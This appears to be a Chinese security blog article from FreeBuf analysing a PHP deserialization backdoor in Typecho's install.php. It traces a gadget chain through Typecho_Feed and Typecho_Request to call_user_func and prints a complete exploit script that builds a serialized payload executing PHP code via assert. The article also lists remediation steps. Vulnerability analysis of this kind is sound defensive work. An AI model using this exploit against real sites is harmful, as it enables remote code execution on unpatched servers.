官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
*本文原创作者:VIPKID安全团队,本文属FreeBuf原创奖励计划,未经许可禁止转载
最早知道这个漏洞是在一个微信群里,说是install.php
文件里面有个后门,看到别人给的截图一看就知道是个PHP反序列化漏洞,赶紧上服务器看了看自己的博客,发现自己也中招了,相关代码如下:
然后果断在文件第一行加上了die:
<?php die('404 Not Found!'); ?>
今天下午刚好空闲下来,就赶紧拿出来代码看看。
漏洞分析
先从install.php
开始跟,229~235行:
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
要让代码执行到这里需要满足一些条件:
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
首先是$_GET['finish']
不为空,其次是referer
需要是本站,比较容易实现。
继续跟反序列化的地方:
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
首先使用Typecho_Cookie
的get
方法获取__typecho_config
,get
方法如下:
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}
可以看到给$value
赋值这一行,如果$_COOKIE
里面没有就从$_POST
里面获取,所以我们测试漏洞的时候直接POST也是可以的,不用每次设置Cookie了。
反序列化漏洞要利用势必离不开魔术方法,我之前收集了一些和PHP反序列化有关的PHP函数:
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
下面这一行中,如果我们反序列化构造一个数组,其中adapter
设置为一个类,那么就可以触发这个类的__toString()
方法。
然后我们全局搜索__toString()
方法,发现两个有搞头的文件:
/var/Typecho/Feed.php
/var/Typecho/Db/Query.php
我这里跟一下Feed.php
,查看Feed.php
的__toString()
方法,其中第290行:
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
//省略........
}
其中调用了$item['author']->screenName
,$item
是$this->_items
的foreach循环出来的,并且$this->_items
是Typecho_Feed
类的一个private
属性。
我们可以利用这个$item
来调用某个类的__get()
方法,上面说过__get()
方法是用于从不可访问的属性读取数据,实际执行中这里会获取该类的screenName
属性,如果我们给$item['author']
设置的类中没有screenName
就会执行该类的__get()
方法,我们继续来全局搜索一下__get()
方法。
发现/var/Typecho/Request.php
中的__get()
方法如下:
public function __get($key)
{
return $this->get($key);
}
跟进$this->get()
方法如下:
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
这里没什么问题,但最后一行:
return $this->_applyFilter($value);
跟进一下发现:
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
这个foreach
里面判断如果$value
是数组就执行array_map
否则调用call_user_func
,这俩函数都是执行代码的关键方法。而这里$filter
和$value
我们几乎都是可以间接控制的,所以就可以利用call_user_func
或者array_map
来执行代码,比如我们设置$filter
为数组,第一个数组键值是assert
,$value
设置php代码,即可执行。
然后我们来完成Exploit如下:
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
然后运行该php,使用输出的payload访问:
至此该漏洞复现成功。
修复方法
- 官方今天发布了1.1Beta版本修复了该漏洞,升级该版本,链接:http://typecho.org/archives/133/
- 也可以删除掉install.php和install目录。
*本文原创作者:VIPKID安全团队,本文属FreeBuf原创奖励计划,未经许可禁止转载
请登录/注册后在FreeBuf发布内容哦